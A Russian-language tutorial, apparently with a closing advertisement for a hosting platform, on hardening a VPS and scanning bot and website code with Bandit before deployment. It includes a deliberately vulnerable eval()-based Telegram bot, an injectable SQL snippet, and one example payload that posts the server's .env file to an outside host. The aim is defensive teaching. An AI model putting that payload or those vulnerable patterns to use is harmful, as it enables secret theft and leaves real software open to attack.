С необходимостью запуска кода на сервере сегодня сталкиваются далеко не только профессиональные айтишники. В наше время популярна разработка через ИИ (Claude, Gemini, ChatGPT и др.). Любой человек с идеей и доступом к моделям может быстро сгенерировать работающий код. Проблема в том, что люди зачастую слабо представляют, какие базовые уязвимости тащит за собой сгенерированный проект.

На стадии деплоя безопасность критична. Ниже мы разберём, как настраивать сервер и проверять код на наличие самых базовых уязвимостей на примере бота и сайта.

А в самом конце покажем, как безопасно развернуть код совсем без настройки сервера, воспользовавшись PaaS-облаком Amvera. Где можно просто привязать GitHub репозиторий (или закинуть файлы в интерфейсе) и сервис сам все запустит и настроит.

Безопасная настройка сервера

Первый вход на сервер и развёртывание бота

Для начала нам нужно войти на сервер. После покупки VPS провайдер пришлёт вам на почту (или покажет в личном кабинете) заветные данные для доступа. Обычно это три строчки:

  • IP-адрес сервера (например, 192.168.1.50);

  • имя пользователя (для Linux по умолчанию это почти всегда root);

  • пароль (длинный набор случайных символов).

Поскольку графического стола у сервера нет, мы будем подключаться через безопасный протокол SSH (Secure Shell).

Шаг 1. Открываем терминал. Если у вас Windows 10/11: нажмите Win + R, введите cmd и нажмите Enter. Откроется стандартная командная строка. Никаких сторонних программ вроде PuTTY скачивать больше не нужно. Если у вас macOS: нажмите Cmd + Пробел, введите слово «Терминал» (Terminal) в поиске Spotlight и нажмите Enter. Если у вас Linux: откройте терминал привычным для себя способом.

Шаг 2. Вводим команду подключения. В терминале введите следующую команду, подставив IP-адрес своего сервера, и нажмите Enter:

ssh root@ваш_IP_адрес

Шаг 3. Проходим проверку безопасности. При самом первом подключении терминал выдаст предупреждение: The authenticity of host... can't be established. Are you sure you want to continue connecting? Не пугайтесь, сервер просто сообщает, что ваш компьютер видит его впервые. Наберите слово yes и нажмите Enter.

Шаг 4. Вводим пароль. Теперь сервер попросит пароль:

root@ваш_IP_адрес's password:

Важнейший момент для новичков: когда вы будете вводить или вставлять (через Ctrl+V или правый клик мыши) пароль, в терминале ничего не изменится. Не появятся ни звёздочки, ни точки, курсор останется на месте. Это базовая безопасность Linux, чтобы никто не подсмотрел длину вашего пароля. Просто вставьте его один раз и нажмите Enter.

Если всё сделано правильно, перед вами появится приветственный текст от Ubuntu и приглашение к вводу, оканчивающееся на значок #. Теперь вы внутри своего собственного сервера!

Подготовка сервера к безопасному деплою

Символ # в конце строки ввода означает, что вы находитесь в системе под пользователем root (суперпользователь). У вас есть абсолютные права на любые изменения, поэтому действовать нужно аккуратно. Перед тем как загружать код вашего проекта, сервер необходимо обновить и настроить.

Шаг 1. Обновление пакетного менеджера. В Windows программы скачивают через браузер, а на смартфонах — через App Store или Google Play. В Linux за это отвечает встроенный пакетный менеджер. В Ubuntu он называется APT (Advanced Package Tool). APT — это консольный менеджер пакетов. Пакет в Linux — это аналог установочного файла .exe или .msi. Пакетный менеджер сам знает, откуда безопасно скачать нужную программу, как её установить и какие дополнительные библиотеки для этого потребуются.

В любой непонятной ситуации на новом сервере первым делом обновляйте списки доступных пакетов и сами программы. Это закроет старые уязвимости и предотвратит ошибки несовместимости при установке библиотек. Выполните команду:

apt update && apt upgrade -y
  • apt update — скачает свежие списки программ из репозиториев Ubuntu.

  • apt upgrade — обновит установленные в системе утилиты до актуальных версий. Флаг -y автоматически ответит «да» на все вопросы системы в процессе обновления.

Защита VPS сервера: вход по ключам и отключение root

Оставлять вход по обычному паролю опасно: хакерские боты непрерывно сканируют сеть и пытаются подобрать пароли к root-пользователям. Защитим сервер по стандарту: настроим вход по SSH-ключам, создадим обычного пользователя, а удалённый доступ для root заблокируем. Все действия по генерации делаются на вашем домашнем компьютере (выйдите из сервера командой exit или откройте новое окно терминала на ПК).

Шаг 1. Генерируем пару ключей на домашнем ПК. В терминале своего компьютера введите:

ssh-keygen -t ed25519

Утилита задаст два вопроса: куда сохранить ключ и нужно ли установить кодовую фразу. На оба вопроса просто нажимайте Enter. В папке .ssh вашего компьютера создадутся два файла: id_ed25519 (приватный ключ, ваш секрет) и id_ed25519.pub (публичный ключ, замок).

Шаг 2. Отправляем публичный ключ на сервер. Для macOS и Linux выполните одну команду:

ssh-copy-id root@ваш_IP_адрес

Дальше надо просто ввести пароль от VPS, который вам дал провайдер.

Для Windows (вручную): выведите ключ на экран type %USERPROFILE%\.ssh\id_ed25519.pub и скопируйте строку. Зайдите на сервер по паролю, откройте файл ключей nano ~/.ssh/authorized_keys. Вставьте строку, нажмите Ctrl+O, Enter (сохранить) и Ctrl+X (выход). Убедитесь, что теперь при команде ssh root@ваш_IP_адрес вас пускает на сервер мгновенно без ввода пароля.

Дальше нужно сделать вход не от root. Выполните следующие команды на вашем VPS, подключившись к нему пока ещё под учётной записью root.

Создайте нового пользователя (замените username на любое желаемое имя):

adduser username

Система попросит вас дважды ввести пароль для нового аккаунта.

Добавьте пользователя в группу администраторов — это позволит ему выполнять команды от имени суперпользователя через sudo:

usermod -aG sudo username

Скопируйте ваш SSH-ключ новому пользователю, чтобы не потерять доступ по ключу:

rsync --archive --chown=username:username ~/.ssh /home/username

Проверьте подключение: откройте новое окно терминала на вашем компьютере и попробуйте войти. Не закрывайте текущую сессию root, пока не убедитесь, что новый вход работает.

ssh username@IP_адрес_вашего_сервера

Отключите вход для root (опционально): если вход прошёл успешно, откройте файл /etc/ssh/sshd_config и установите запрет на прямое подключение root-пользователя, введя PermitRootLogin no. После этого перезапустите службу SSH: sudo systemctl restart ssh.

Защита от брутфорса с помощью Fail2ban

Даже если вход по паролю отключён, боты будут постоянно сканировать ваш SSH-порт. Это тратит ресурсы сервера и забивает логи. Утилита Fail2ban решает эту проблему: она анализирует логи в реальном времени и временно блокирует IP-адреса, которые ведут себя подозрительно.

Шаг 1. Установка утилиты. Установите Fail2ban из стандартного репозитория Ubuntu (команда выполняется под вашим новым пользователем с использованием sudo):

sudo apt install -y fail2ban

Шаг 2. Настройка конфигурации (создание jail.local). По умолчанию Fail2ban хранит настройки в файле /etc/fail2ban/jail.conf. Трогать его напрямую нельзя, так как при первом же обновлении программы все ваши изменения затрутся. Правильный подход в Linux — создать копию конфигурации с расширением .local:

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

Теперь откройте созданный файл в текстовом редакторе:

sudo nano /etc/fail2ban/jail.local

Шаг 3. Задаём правила блокировки. Пролистайте файл вниз до секции [DEFAULT]. Нам нужно найти и настроить три главных параметра, которые управляют логикой банов (если перед строкой стоит знак #, удалите его):

bantime = 10m
findtime = 10m
maxretry = 5

Давайте разберём, что значат эти цифры и как их лучше изменить новичку:

  • maxretry — количество разрешённых неудачных попыток авторизации подряд. Для безопасности стоит поставить в районе 3–5.

  • findtime — окно времени, в течение которого считаются эти неудачные попытки. Оставляем 10m (10 минут).

  • bantime — время, на которое бот отправляется в чёрный список. 10 минут (10m) маловато — боты вернутся снова. Лучше выставить 1d (1 день) или 1w (1 неделя), чтобы отвадить взломщиков надолго.

Шаг 4. Включаем защиту SSH. Найдите в файле секцию [sshd]. Убедитесь, что она выглядит следующим образом (если строки enabled = true нет, обязательно допишите её вручную сразу под заголовком):

[sshd]
enabled = true
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s

Сохраните изменения (нажмите Ctrl + O, затем Enter) и выйдите из редактора (нажмите Ctrl + X).

Шаг 5. Запуск и проверка службы. Перезапустите Fail2ban, чтобы он применил новые правила, и добавьте его в автозапуск системы:

sudo systemctl restart fail2ban
sudo systemctl enable fail2ban

Чтобы убедиться, что защита от брутфорса работает, проверьте статус утилиты:

sudo fail2ban-client status

В выводе вы увидите список активных защитных зон (Jails). Там должно быть написано: Number of jail: 1 и Jail list: sshd.

Шпаргалка: полезные команды для работы с Fail2ban. Посмотреть, сколько ботов уже забанено прямо сейчас:

sudo fail2ban-client status sshd

Вы удивитесь, но уже через пару часов в строке Banned IP list появятся первые десятки заблокированных адресов со всего мира. Как разбанить самого себя (если вы случайно трижды ошиблись паролем): если вы настраивали сервер с телефона или другого ПК и попали под горячую руку файрвола, зайдите со своего основного компьютера и введите:

sudo fail2ban-client set sshd unbanip ВАШ_ДОМАШНИЙ_IP

Проверка кода на уязвимости (SAST) перед запуском

В современном вебе используется огромное количество языков программирования. Настроить сервер под каждый из них в рамках одной статьи невозможно, поэтому мы рассмотрим два полярных примера, которые покроют 90% задач новичка:

  • Telegram-бот на Python — пример классического скриптового (интерпретируемого) языка, который работает в фоне.

  • Полноценный веб-сайт — бэкенд напишем на компилируемом Go (Golang), базу данных сделаем на SQLite, а фронтенд развернём на чистом JavaScript (Pure JS) без тяжёлых фреймворков.

Но перед тем как отправлять файлы на сервер, код необходимо проверить на уязвимости, скрытые баги и забытые пароли. Этот этап называется статическим анализом (SAST). Давайте разберём, как проверить каждую часть нашего будущего стека.

Пример: Telegram-бот на Python

from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, MessageHandler, filters, ContextTypes

BOT_TOKEN = "123456789:AAH-example-fake-token-do-not-use"

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await update.message.reply_text("Привет! Пришли мне арифметическое выражение.")

async def calc(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user_input = update.message.text
    # Уязвимость №2: считаем выражение через eval()
    result = eval(user_input)  # вот тут и ошибка
    await update.message.reply_text(f"Ответ: {result}")

if __name__ == "__main__":
    app = ApplicationBuilder().token(BOT_TOKEN).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, calc))
    app.run_polling()

Бот работает. Пишете ему 2+2*10 — отвечает 22. Красота, можно показывать друзьям. Только под капотом два жирных бага:

Уязвимость №1: Hardcoded credentials (зашитый токен). Токен бота — это пароль. С ним кто угодно может: читать всю переписку с вашим ботом, отвечать пользователям от его имени (привет, фишинг), забанить вас как владельца. Главная беда — вы, скорее всего, зальёте код на GitHub. Даже если репозиторий «приватный», его можно случайно сделать публичным, или вы случайно закоммитите токен раньше, чем сделаете репозиторий приватным. Сканеры утечек прочёсывают новые коммиты на GitHub за минуты. Токен утечёт раньше, чем вы допьёте кофе.

Уязвимость №2: eval() = RCE. Функция eval() берёт строку и выполняет её как Python-код. Вы ждёте 2+2. А злоумышленник пришлёт боту:

__import__('os').system('curl -X POST -d @.env http://notyourapp.com')

И ваш сервер скачает и запустит чужой скрипт. От имени того пользователя, под которым работает бот. Это и есть RCE — Remote Code Execution (удалённое выполнение кода). Что хакер сделает дальше: сольёт вашу БД, украдёт переменные окружения (а там, скорее всего, ещё и другие токены), поставит майнер, использует ваш сервер как прокси для атак на чужие сайты, сотрёт всё подчистую. Один eval() — и сервер больше не ваш.

Шаг 2. Запуск проверки (Bandit). Bandit — это статический анализатор для Python. Он не запускает код, а просто читает его и ищет паттерны опасных конструкций: eval, exec, pickle.loads, захардкоженные пароли, использование md5 для паролей и так далее.

Структура проекта:

sat/
├── main.py
└── venv/        виртуальное окружение, его сканировать не надо

Установка и запуск:

# создаём виртуальное окружение
python3 -m venv venv
source venv/bin/activate
# ставим зависимости проекта и сам Bandit
pip install "python-telegram-bot=22.7"
pip install bandit
# сканируем — ВАЖНО исключить venv, иначе попадут чужие библиотеки
bandit -r . -x ./venv

Грабли, на которые легко наступить. Если запустить просто bandit -r ., Bandit полезет внутрь venv/ и найдёт сотни «проблем» в коде сторонних библиотек (rich, httpx и т.д.). Это не ваш код, чинить его не нужно. Всегда исключайте venv/ флагом -x.

Что выведет терминал (реальный вывод на нашем коде):

[main]  INFO    running on Python 3.14.5
Run started:2026-05-15 20:32:50.768440+00:00
Test results:
>> Issue: [B105:hardcoded_password_string] Possible hardcoded password: '123456789:AAH-example-fake-token-do-not-use'
   Severity: Low   Confidence: Medium
   CWE: CWE-259 (https://cwe.mitre.org/data/definitions/259.html)
   Location: ./main.py:4:12
4   BOT_TOKEN = "123456789:AAH-example-fake-token-do-not-use"
--------------------------------------------------
>> Issue: [B307:blacklist] Use of possibly insecure function - consider using safer ast.literal_eval.
   Severity: Medium   Confidence: High
   CWE: CWE-78 (https://cwe.mitre.org/data/definitions/78.html)
   Location: ./main.py:13:13
12      user_input = update.message.text
13      result = eval(user_input)
14      await update.message.reply_text(f"Ответ: {result}")
--------------------------------------------------
Code scanned:
        Total lines of code: 14
Run metrics:
        Total issues (by severity):
                Low: 1
                Medium: 1
                High: 0

Bandit чётко указал:

  • B105 означает, что на 4-й строке программы написан реальный пароль или секретный ключ. Это опасно. Если чужой человек увидит код, он может украсть этот секрет.

  • B307 — опасный eval() на 13-й строке (и даже подсказал замену — ast.literal_eval).

Шаг 3. Как НАДО делать. Чиним обе проблемы:

# main.py — исправленная версия
import os
import ast
import operator
import logging
from telegram import Update
from telegram.ext import (
    ApplicationBuilder,
    CommandHandler,
    MessageHandler,
    filters,
    ContextTypes,
)

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s %(levelname)s %(message)s",
)
log = logging.getLogger(__name__)

# Токен — из переменной окружения. В коде его нет.
BOT_TOKEN = os.environ.get("BOT_TOKEN")
if not BOT_TOKEN:
    raise RuntimeError("Переменная окружения BOT_TOKEN не задана")

# Разрешённые операции — белый список
_ALLOWED_OPS = {
    ast.Add: operator.add,
    ast.Sub: operator.sub,
    ast.Mult: operator.mul,
    ast.Div: operator.truediv,
    ast.Mod: operator.mod,
    ast.Pow: operator.pow,
    ast.USub: operator.neg,
    ast.UAdd: operator.pos,
}

def safe_eval(expr: str) -> float:
    """Безопасный калькулятор: парсим AST и считаем сами."""
    tree = ast.parse(expr, mode="eval")

    def _eval(node):
        if isinstance(node, ast.Expression):
            return _eval(node.body)
        if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)):
            return node.value
        if isinstance(node, ast.BinOp) and type(node.op) in _ALLOWED_OPS:
            return _ALLOWED_OPS[type(node.op)](_eval(node.left), _eval(node.right))
        if isinstance(node, ast.UnaryOp) and type(node.op) in _ALLOWED_OPS:
            return _ALLOWED_OPS[type(node.op)](_eval(node.operand))
        raise ValueError("Запрещённая конструкция в выражении")

    return _eval(tree)

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await update.message.reply_text("Привет! Пришли мне арифметическое выражение.")

async def calc(update: Update, context: ContextTypes.DEFAULT_TYPE):
    text = update.message.text or ""
    # Ограничиваем длину, чтобы никто не положил нас выражением 9**9**9**9
    if len(text) > 100:
        await update.message.reply_text("Слишком длинное выражение.")
        return
    try:
        result = safe_eval(text)
    except (ValueError, SyntaxError, ZeroDivisionError) as e:
        await update.message.reply_text(f"Не могу посчитать: {e}")
        return
    await update.message.reply_text(f"Ответ: {result}")

if __name__ == "__main__":
    app = ApplicationBuilder().token(BOT_TOKEN).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, calc))
    log.info("Бот стартовал")
    app.run_polling()

Что мы сделали и почему это сработало:

  1. Токен — в переменной окружения. Он больше не лежит в коде. На сервере токен будет читаться из защищённого файла, который видит только root. В исходниках — пусто.

  2. eval() заменён на собственный мини-интерпретатор. Мы парсим выражение в AST (абстрактное синтаксическое дерево) и обходим узлы сами. Разрешены только числа и базовые операции. Если хакер пришлёт import(‘os’).system(…), парсер увидит узел Call (вызов функции) — а его в белом списке нет → ValueError. Это и называется whitelist-подход: «разрешено только то, что в списке, всё остальное — запрещено».

  3. Ограничение длины ввода. Защита от выражений вроде 999**9 — они валидны как арифметика, но считаются вечность и съедают всю память.

Запускаем Bandit ещё раз:

bandit -r . -x ./venv

Получаем:

Test results:
        No issues identified.

Всё чисто.

Шаг 4. Деплой на VPS как systemd-сервис

Код проверен и чист. Считаем, что у вас уже есть VPS, вы подключены к нему по SSH под своим пользователем (не root) и сервер защищён Fail2ban. Осталось доставить файлы и запустить бота так, чтобы он работал круглосуточно и сам перезапускался после перезагрузки сервера.

Шаг 1. Копируем файлы на сервер (scp). Утилита scp (secure copy) копирует файлы по тому же защищённому каналу, что и SSH. Команды выполняются на вашем домашнем компьютере:

# один файл
scp main.py username@IP_адрес:~
# папка целиком (флаг -r)
scp -r ./мой_проект username@IP_адрес:~
# если SSH работает на нестандартном порту (например, 2222) — флаг -P
scp -P 2222 main.py username@IP_адрес:~
# если используете конкретный ключ — флаг -i
scp -i ~/.ssh/id_ed25519 main.py username@IP_адрес:~

Не заливайте папку venv/ на сервер. Она собрана под вашу операционную систему и на сервере просто не заработает. Вместо этого переносите файл requirements.txt и собирайте окружение заново уже на сервере.

Создайте файл requirements.txt рядом с main.py со списком зависимостей:

python-telegram-bot=22.7

Проект перед отправкой выглядит так:

мой_проект/
├── main.py
└── requirements.txt

Отправьте файлы в домашнюю директорию на сервере:

scp main.py requirements.txt username@IP_адрес:~

Шаг 2. Подготавливаем окружение на сервере. Подключитесь к серверу:

ssh username@IP_адрес

Создадим отдельного системного пользователя без прав входа и собственную папку для бота, а затем перенесём туда файлы:

sudo adduser --system --group --home /opt/tgbot tgbot
sudo mkdir -p /opt/tgbot
sudo mv ~/main.py ~/requirements.txt /opt/tgbot/
sudo chown -R $USER:$USER /opt/tgbot
cd /opt/tgbot

Почему отдельный пользователь: флаг --system создаёт служебный аккаунт без пароля и без возможности войти по SSH. Если бота взломают, атакующий получит права этого ограниченного пользователя, а не вашего аккаунта с sudo.

Собираем окружение и ставим зависимости прямо на сервере:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
deactivate
# отдаём все файлы служебному пользователю
sudo chown -R tgbot:tgbot /opt/tgbot

Шаг 3. Прячем токен в отдельный файл. Токен мы вынесли из кода — теперь надо где-то его хранить на сервере. Положим его в отдельный файл, который сможет читать только root:

sudo nano /etc/tgbot.env

Внутри напишите одну строку:

BOT_TOKEN=сюда_вставьте_токен_бота_от_BotFather

Ограничим права на файл, чтобы его мог читать только владелец (root):

sudo chmod 600 /etc/tgbot.env
sudo chown root:root /etc/tgbot.env

Шаг 4. Создаём systemd-сервис. systemd — это «дирижёр» всех фоновых процессов в Linux. Он сам запустит бота при старте сервера, перезапустит при падении и будет писать логи. Создайте файл описания службы:

sudo nano /etc/systemd/system/tgbot.service

Содержимое файла:

[Unit]
Description=Telegram Bot
After=network.target

[Service]
Type=simple
User=tgbot
Group=tgbot
WorkingDirectory=/opt/tgbot
EnvironmentFile=/etc/tgbot.env
ExecStart=/opt/tgbot/venv/bin/python /opt/tgbot/main.py
Restart=on-failure
RestartSec=5

# Усиление безопасности
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=full
ProtectHome=true

[Install]
WantedBy=multi-user.target

Настройки усиления безопасности означают:

  • NoNewPrivileges=true — процесс никогда не сможет получить больше прав, чем у него есть (даже через sudo или SUID-бинарники).

  • PrivateTmp=true — у службы своя изолированная папка /tmp, чужие процессы её не видят.

  • ProtectSystem=full — системные папки (/usr, /boot, /etc) доступны только для чтения.

  • ProtectHome=true — бот не видит домашние папки пользователей.

Шаг 5. Запускаем. Перезагружаем systemd, включаем автозапуск и сразу стартуем бота:

sudo systemctl daemon-reload
sudo systemctl enable --now tgbot
# проверяем статус
sudo systemctl status tgbot
# смотрим живые логи
sudo journalctl -u tgbot -f

С ботом всё, теперь переходим к сайту.

Безопасное развёртывание и настройка защиты сайта

Бот — это один файл и один процесс. С сайтом всё сложнее: есть веб-сервер, база данных, статика, зависимости разных версий. Чтобы всё это не превратилось в хаос «у меня на компе работало, а на сервере нет», используют Docker. В Docker приложение и все его зависимости упакованы в отдельную коробку (контейнер). Оно не конфликтует с другими программами на сервере. Образ собирается один раз и работает одинаково везде: на вашем ноутбуке, на сервере коллеги, в облаке.

От простой безопасности к защите сайта от ботов

Когда хочется не просто бота, а полноценный сайт с доменом и HTTPS, защита строится слоями. Каждый слой решает свою задачу:

        Интернет
           ↓
      DNS и домен            ← Слой 0: куда ведёт имя сайта
           ↓
  UFW + облачный файрвол   ← Слой 1: какие порты открыты
           ↓
   Nginx + HTTPS            ← Слой 2: шифрование и прокси
           ↓
  Docker (изоляция)         ← Слой 3: приложение в коробке
           ↓
  Безопасный код          ← Слой 4: само приложение

Слой 0. Домен и DNS

DNS — это телефонная книга интернета. Люди помнят имена, а компьютеры общаются по IP-адресам (например, 192.0.2.10). DNS переводит одно в другое. Чтобы ваш домен указывал на сервер, нужно в панели регистратора домена добавить DNS-записи:

Тип

Имя (Host)

Значение

TTL

A

@

IP_вашего_VPS

300

A

www

IP_вашего_VPS

300

Запись типа A связывает имя с IPv4-адресом. Имя @ означает сам домен (example.com), а www — поддомен (www.example.com). TTL — это время кэширования записи в секундах; на время настройки удобно выставить небольшое значение (300), чтобы изменения применялись быстрее.

Проверить, куда ведёт домен, можно с домашнего компьютера:

dig +short example.com   # должен вывести ваш IP
nslookup example.com 8.8.8.8

Слой 1. Файрвол - защита сети и сервера

Файрвол — это охранник на входе, который решает, какие порты открыты для мира. В Ubuntu удобно использовать UFW (Uncomplicated Firewall):

# Сначала ОБЯЗАТЕЛЬНО откройте SSH, иначе сами себя заблокируете
sudo ufw allow OpenSSH
# Веб-порты
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
# Запрещаем всё остальное
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw enable
sudo ufw status verbose

Если у вашего провайдера есть ещё и облачный файрвол (в панели управления), настройте и его по тем же правилам — получится двойная защита.

Слой 2. Nginx и HTTPS

Nginx — это веб-сервер, который стоит перед вашим приложением и берёт на себя несколько ролей:

  • Принимает все запросы из интернета и перенаправляет их вашему приложению (reverse proxy).

  • Шифрует трафик по HTTPS, чтобы данные пользователей нельзя было перехватить.

  • Ограничивает частоту запросов (rate limit) и прячет технические детали от атакующих.

Конфигурация Nginx (положите её в /etc/nginx/sites-available/example.com):

# Rate-limit: 10 запросов/сек с одного IP, burst 20
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;

# HTTP → редирект на HTTPS
server {
    listen 80;
    listen [::]:80;
    server_name example.com;
    location / {
        return 301 https://$host$request\\_uri;
    }
}

# HTTPS — основной сервер
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;
    server_name example.com;

    # Сертификаты пропишет certbot автоматически

    # Современные TLS-настройки
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers off;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 1d;

    # Лимиты
    client_max_body_size 1m;
    client_body_timeout 10s;
    client_header_timeout 10s;

    # Скрываем версию Nginx (меньше информации для атакующего)
    server_tokens off;

    # Security-заголовки
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    location / {
        limit_req zone=mylimit burst=20 nodelay;
        proxy_pass http://127.0.0.1:8080;
        proxy_http_version 1.1;
        proxy_set_header Host              $host;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_read_timeout 30s;
        proxy_send_timeout 30s;
    }

    # Запрещаем доступ к скрытым файлам (.git, .env)
    location ~ /\. {
        deny all;
        return 404;
    }
}

Разберём ключевые строки:

Строка

Назначение

return 301 https://…

весь HTTP-трафик принудительно перенаправляется на шифрованный HTTPS

limit_req_zone / limit_req

защита от наплыва запросов и простейших DDoS

proxy_pass http://127.0.0.1:8080

перенаправляет запросы вашему приложению на локальном порту

Strict-Transport-Security

браузер запоминает, что сайт только по HTTPS

location ~ /.

закрывает доступ к .git, .env и другим скрытым файлам

Активируем конфиг и проверяем синтаксис:

sudo ln -sf /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/
sudo rm -f /etc/nginx/sites-enabled/default
sudo nginx -t
sudo systemctl reload nginx

Выпускаем бесплатный SSL-сертификат от Let’s Encrypt через certbot — он сам пропишет пути к сертификатам в конфиг Nginx:

sudo apt install -y certbot python3-certbot-nginx
sudo certbot --nginx -d example.com -d www.example.com

Типичные ошибки с Nginx:

  • Забыли выполнить nginx -t перед перезагрузкой и выкатите сломанный конфиг, сайт ляжет.

  • Не убрали стандартный конфиг default. Он перехватывает запросы.

  • Не открыли порты 80 и 443 в файрволе. Certbot не сможет подтвердить домен.

Слой 3. Docker

Контейнер нужен, чтобы приложение работало в изоляции и, даже если его взломают, атакующий остался внутри коробки, а не получил весь сервер. Разберём Dockerfile для Go-приложения:

# Стадия 1: сборка
FROM golang:1.26-alpine AS builder
WORKDIR /src
COPY go.mod go.sum* ./
RUN go mod download
COPY . .

# CGO_ENABLED=0 — статичный бинарный файл без зависимостей от libc
# -trimpath — убирает локальные пути из бинарного файла (защита от утечки структуры проекта)
# -ldflags="-s -w" — убирает отладочную информацию, бинарный файл меньше
RUN CGO_ENABLED=0 GOOS=linux go build \
    -trimpath \
    -ldflags="-s -w" \
    -o /out/app ./...

# Стадия 2: рантайм
# distroless — нет shell, нет coreutils, нет apt
# Даже если случится RCE, атакующему буквально нечего запустить
FROM gcr.io/distroless/static-debian12:nonroot
WORKDIR /app
COPY --from=builder /out/app /app/app
# UID встроенного пользователя nonroot = 65532
USER nonroot:nonroot
EXPOSE 8080
ENTRYPOINT ["/app/app"]

Разберём строки:

Строка

Назначение

Две стадии (builder и рантайм)

в итоговый образ попадает только готовый бинарник, без исходников и компилятора

CGO_ENABLED=0

статичный бинарник, который работает без системных библиотек

distroless

образ без shell и утилит — атакующему нечего запускать внутри

USER nonroot

приложение работает не от root

Запускаем контейнер с ограничениями:

docker run -d \
  --name myapp \
  --restart unless-stopped \
  -p 127.0.0.1:8080:8080 \
  -v /opt/myapp/data:/app/data \
  --read-only \
  --tmpfs /tmp \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --memory=256m \
  --cpus=0.5 \
  myapp:latest

Разберём флаги:

Флаг

Назначение

-p 127.0.0.1:8080:8080

порт виден только локально (через Nginx), а не всему интернету

–read-only

файловая система контейнера только для чтения

–cap-drop=ALL

снимаем все привилегии ядра

–memory / --cpus

лимиты ресурсов, чтобы один контейнер не съел весь сервер

Типичная ошибка с Docker это запуск контейнер от root и без ограничений. Следовательно взлом приложения равен взлому сервера. Еще можно опубликовать на порту 0.0.0.0 вместо 127.0.0.1, и где торчит в интернет в обход Nginx. Есть и менее критичные ситуации, как использование тега latest с потерей контроля над версиями. Версию образа лучше зафиксировать.

Слой 4. Безопасный код на Go

Все предыдущие слои не помогут, если само приложение написано небрежно. Разберём шесть правил, которые закрывают большинство типовых дыр.

Правило №1. SQL-инъекции. Нужно всегда использовать плейсхолдеры. Никогда не склеивайте SQL-запрос со строкой, пришедшей от пользователя.

Плохо (уязвимо):

query := r.URL.Query().Get("q")
sqlQuery := fmt.Sprintf("SELECT * FROM users WHERE name LIKE '%%%s%%'", query)
rows, _ := db.Query(sqlQuery)

Хорошо (безопасно):

rows, err := db.QueryContext(ctx,
    "SELECT id, name, email FROM users WHERE name LIKE ? LIMIT 50",
    "%"+query+"%")

Представьте, что вы пишете бланк с пустым полем (плейсхолдер?). База сначала видит структуру запроса, а потом аккуратно вставляет ваше значение именно как данные, а не как часть команды. Чтобы ни ввёл пользователь, это останется просто текстом для поиска.

Правило №2. XSS - экранируйте вывод. Если вы показываете на странице текст, который ввёл пользователь, нельзя просто вставлять его в HTML. Иначе кто-то пришлёт <script> и выполнит свой код в браузерах других посетителей.

Опасный подход - ручная склейка HTML со строкой, на любом языке:

  • Go: fmt.Fprintf(w, "<div>%s</div>", userInput)

  • JS: el.innerHTML = userInput

  • Python: f"<div>{user_input}</div>"

  • PHP: echo "<div>$userInput</div>"

Безопасный подход - использовать шаблонизатор, который сам экранирует опасные символы. В Go это пакет html/template:

const tpl = `<div>
  <b>{{.Author}}</b>: {{.Text}}
</div>`

t := template.Must(template.New("fb").Parse(tpl))
t.Execute(w, feedback)

Не используйте для HTML пакет text/template. Он не экранирует вывод и не защищает от XSS. Только html/template.

Правило №3. Security-заголовки. Добавляйте заголовки (X-Content-Type-Options, X-Frame-Options и др.) на уровне Nginx или самого приложения. Они подсказывают браузеру, как себя вести, и закрывают целый класс атак.

Правило №4. Таймауты. Всегда выставляйте таймауты на чтение и запись у веб-сервера. Без них одно медленное соединение может висеть вечно и исчерпать ресурсы сервера.

Правило №5. Не показывайте полные ошибки пользователю. Полный текст ошибки (со стеком и путями) пишите только в лог. Пользователю показывайте нейтральное «Что-то пошло не так». Иначе вы сами подскажете атакующему версии библиотек и структуру проекта.

Правило №6. Ограничивайте размер входящих данных. Задавайте лимит на размер тела запроса (и на Nginx, и в приложении). Иначе кто-то загрузит файл на несколько гигабайт и забьёт диск или память.

То самое удобное решение без настройки сервера

Всё вышеописанное, это настройка сервера руками. Но есть путь проще, это PaaS-платформы, которые берут рутину на себя. Одна из таких - Amvera. Вот что сервис делает за вас:

  • Встроенная, бесплатная защита доменов сайтов.

  • Безопасная конфигурация из коробки без необходимости настройки сервера.

  • Деплой через git push или через интерфейс. Достаточно загрузить код, сборка и запуск происходят автоматически.

  • HTTPS и SSL из коробки. Сертификаты выпускаются и продлеваются сами, без certbot и ручных настроек.

  • Управляемые базы данных. БД поднимается в один клик, резервные копии хранятся в трёх экземплярах.

  • Встроенный reverse proxy. Есть даже бесплатное проксирование OpenAI API, если вашему приложению это нужно.

Мы прошли путь от первых команд в терминале до полноценного защищённого сайта и телеграм-бота. Для автоматизации этих процессов можно использовать CI/CD-пайплайны, настроить собственный VPS. Главное, выстроить процесс так, чтобы вы могли сосредоточиться на логике приложения. Пишите безопасный код и пусть автоматика работает на вас!